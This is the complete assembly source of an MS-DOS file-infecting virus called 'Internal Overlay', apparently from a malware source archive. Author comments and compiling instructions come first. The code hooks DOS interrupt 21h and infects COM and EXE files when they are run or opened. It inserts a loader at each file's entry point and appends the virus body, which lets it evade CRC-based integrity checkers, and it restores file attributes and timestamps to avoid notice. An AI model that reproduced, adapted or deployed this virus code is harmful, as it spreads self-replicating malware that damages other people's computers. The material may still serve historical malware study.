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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.intovl.asm

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;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Internal Overlay <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; by Tcp/29A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
;
; Here you have a virus i wrote some time ago... an old but still pretty
; interesting virus (anyway, ain't so old... one year or less :) Its pe-
; culiarity consists in that it infects COM and EXE files without modi-
; fying their headers! ;) In this way, it doesn't get detected under a
; very large number of CRC checkers which just compare the first bytes
; and the length of the files whose info it stores.
;
; Internal Overlay (IntOv for friends :) does this by inserting an over-
; lay loader at the entry point of the files it infects, and the corres-
; ponding overlay -the virus- at the end of the file, appended to the
; infected file in the traditional way :)
;
; It infects, as i told before, COM and EXE files on execution (4b00h)
; and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with re-
; location items in the entry point, unless this item is located in off-
; set 7 (PkLited files have an item there) ;)
;
; Compiling instructions:
;
; tasm /m intov.asm
; tlink intov.obj
; exe2bin intov.exe intov.com
assume cs:code,ds:code,ss:code,es:code
org 0
code segment
_BYTES = ((end_vir-start)+(ov_part-start)+15)
_PARAG = _BYTES/16
start:
delta_ofs equ word ptr $+1
mov si,100h ; Delta offset (precalc)
; In dropper, 100h
id_mark equ word ptr $+1
mov cx,'<>' ; Length to search for, it will be the
; id mark: '<>'... why not? :)
reloc_pkl equ word ptr $+1
mov bp,0000 ; For PkLite's relocation
mov es,ds:[2ch] ; es-> environment
xor ax,ax
xor di,di
repnz scasw ; Search for two consecutive zeros
; Searching file name
inc di
inc di ; es:di -> file name
push cs
push ds
push es
push di
push ds
mov ax,ds
dec ax
mov es,ax ; MCB access
; ES-> MCB
mov bx,es:[0003]
sub bx,_PARAG+1
pop es
mov ah,4ah
int 21h ; Free memory. If resident, doesn't return!
mov ah,48h
mov bx,_PARAG
int 21h ; Want some memory
mov es,ax
push cs
pop ds
mov cx,offset(ov_part)
push si
xor di,di
rep movsb ; Move it to reserved area
pop si
mov ax,offset(new_mcb)
push es
push ax
retf ; Jump to reserved area
new_mcb:
push ds
pop es ; es:= old cs
pop dx
pop ds
mov ax,3d00h
int 21h ; Open the file
xchg bx,ax ; bx:=handle
push cs
pop ds
long_high equ word ptr $+1
mov cx,0000
long_low equ word ptr $+1
mov dx,offset(ov_part) ; For the dropper
mov ax,4200h
int 21h ; Get set in file
; Point to 'overlay'
mov cx,offset(end_vir)
mov ah,3fh
mov dx,offset(ov_part)
int 21h ; Read the 'overlay'
mov ah,3eh ; We're up to here in the Entry Point
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;<3B> Now, the virus overlay part <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ov_part:
int 21h ; Close file
push si
push si
pop di
mov si,offset(original)
mov cx,offset(ov_part)
rep movsb ; Restore original code in memory
pop si
push cs
pop ax
dec ax
mov es,ax ; es-> MCB
mov word ptr es:[0001],8 ; O.S. block
mov ax,3521h ; Get and change int 21h
int 21h
mov ofs_int21,bx
mov seg_int21,es
mov ah,25h
mov dx,offset(int_21)
int 21h
exec_host:
pop ds ; PSP
push si
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor bp,bp
xor si,si
xor di,di
push ds
pop es
retf ; jump to host
c_com db 'COM'
db 'EXE'
db 'exe'
db 'com'
c_21:
pushf
call dword ptr cs:[ofs_int21]
ret
int_24: mov al,3
iret
db '[Internal Overlay, Tcp / 29A]'
int_21:
cmp ah,4ah ; Can be our call
jne f_func
push ax
push di
mov ax,'<>'
sub ax,cx
shr di,1
sub ax,di
inc ax ; If 0 -> our call
pop di
pop ax
jnz f_func
pop cx ; We're not interested in offset
pop di ; Interested in code segment
pop cx ; We're not interested in flags
pop dx
pop ds ; ds:dx -> file name
mov ax,3d00h
call c_21 ; Open file
xchg ax,bx ; bx:=handle
mov ds,di
mov cx,[si+long_high] ; Restore data
mov dx,[si+long_low]
add dx,offset(original)-offset(ov_part)
adc cx,0
mov ax,4200h
int 21h ; Postion on overlay's portion that
; keeps original code
mov dx,si
mov ah,3fh
mov cx,offset(ov_part)
int 21h ; We read
mov ah,3eh
int 21h ; We close the file
add [si+1],bp ; Reallocate Pklite's item (add 0 otherwise)
jmp exec_host
f_func:
push bx
push cx
push dx
push bp
push ds
push es
push si
push di
push ax
mov di,dx
mov al,0
mov cx,666h ;-)
repnz scasb
sub di,4 ; filename.ext
; ^
pop ax
push ax
cmp ax,4b00h ; file execution?
je is_exec
cmp ah,3dh ; open-file?
je check_ext
end_21:
pop ax
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
db 0eah ; jmp far
ofs_int21 dw ?
seg_int21 dw ?
check_ext:
push ds
push cs
pop ds
mov si,offset(c_com)
mov cx,4
loop_ext: push si ; check valid extensions
push di
cmpsw
jne next_ext
cmpsb
next_ext: pop di
pop si
je ext_ok
add si,3
loop loop_ext
pop ds
or cx,cx
jz end_21
ext_ok: pop ds
is_exec:
cmp byte ptr ds:[di-2],'D' ; Don't infect command.com
jz end_21
cmp byte ptr ds:[di-2],'d'
jz end_21
mov ax,3524h ; Read and prepare int 24h
int 21h
push es
push bx
mov ah,25h
push ax ; 2524h
push ds
push dx
push cs
pop ds
mov dx,offset(int_24)
int 21h
pop dx
pop ds
mov ax,4300h
int 21h ; Get attribs
push cx
push ds
push dx
xor cx,cx
mov ax,4301h ; Reset all attribs
int 21h
jb rest_atribs
mov ax,3d02h
call c_21 ; Open the file I/O
push cs
pop ds
xchg ax,bx ; bx:=handle
mov ax,5700h
int 21h ; Get time/date
push dx
push cx
mov ah,3fh
mov dx,offset(header)
mov cx,1Ch
int 21h ; Read file header
mov ax,val_ip
mov delta_ofs,ax
xchg bp,ax ; bp:=val_ip
cmp signature,'ZM' ; EXE?
je exe
; Assume it's a com
cmp byte ptr signature,0e9h ; jmp?
jne rest_hour
mov ax,word ptr signature+1 ; Offset jmp
add ax,3 ; Calculate file's offset
mov delta_ofs,ax
add delta_ofs,100h
xor dx,dx
xor cx,cx
jz exe&com
rest_hour: mov ax,5701h ; Restore date/time
pop cx
pop dx
int 21h
mov ah,3eh ; We close
int 21h
rest_atribs: mov ax,4301h ; Restore attribs
pop dx
pop ds ; ds:dx -> file name
pop cx
int 21h
pop ax ; ax:=2524h
pop dx
pop ds
int 21h
jmp end_21
exe:
mov ax,header_size
mov cx,16
mul cx ; ax:=header length
push ax
mov ax,val_cs
imul cx
add ax,bp ; bp:=val_ip
adc dx,0 ; dx:ax := cs:ip inside load module
mov cx,relo_items ; Number of reallocation items
jcxz items_ok
push cx
push ax
push dx
xor cx,cx ; Get on reallocation table
mov dx,ofs_reloc
mov ax,4200h
int 21h
pop dx
pop ax
read_items:
push ax
push dx
mov ah,3fh
mov dx,offset(original)
mov cx,20*4 ; Read 20 reallocaci<63>n items
int 21h
mov si,dx
mov di,-20*4
pop dx
pop ax
process_item: pop cx
push bx
mov bx,[si]
cmpsw ; inc si, inc si, inc di, inc di
mov bp,[si]
cmpsw ; inc si, inc si, inc di, inc di
sub bx,ax
sbb bp,dx
jnz next_item
cmp bx,offset(ov_part) ; Is it part of code?
jnbe next_item
cmp bx,7 ; PkLite's code?
pop bx
jnz bad_item
push bx
next_item: dec cx
pop bx
jcxz items_ok
or di,di ; We need read more items?
push cx
jnz process_item
jz read_items
items_ok:
pop cx ; cx:= header length
exe&com: add ax,cx
adc dx,0 ; dx:ax := cs:ip offset in file
push ax
push dx
mov cx,dx
xchg ax,dx ; = mov dx,ax
mov ax,4200h
int 21h ; get on the entry point
mov ah,3fh
mov cx,offset(ov_part)
mov dx,offset(original)
int 21h ; Read original code
sub ax,cx ; Have enough space?
jc no_inf
cmp pages,'<>' ; Id mark is in offset 4
stc
je no_inf
mov ax,4202h ; Go to he end of file
xor cx,cx
cwd
int 21h
mov long_high,dx ; Save file-offset of code
mov long_low,ax
mov ah,40h ; 'Stick' to the file
mov cx,offset(end_vir)
mov dx,offset(ov_part)
int 21h
no_inf: pop cx
pop dx
jc alr_inf
mov reloc_pkl,0
mov ax,4200h
int 21h ; Return to cs:ip
mov ah,40h
mov cx,offset(ov_part)
cwd
int 21h ; Write new code on entry-point
push cx
bad_item: pop cx
alr_inf: jmp rest_hour
end_vir:
original:
header:
signature dw 20cdh
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?
code ends
end start
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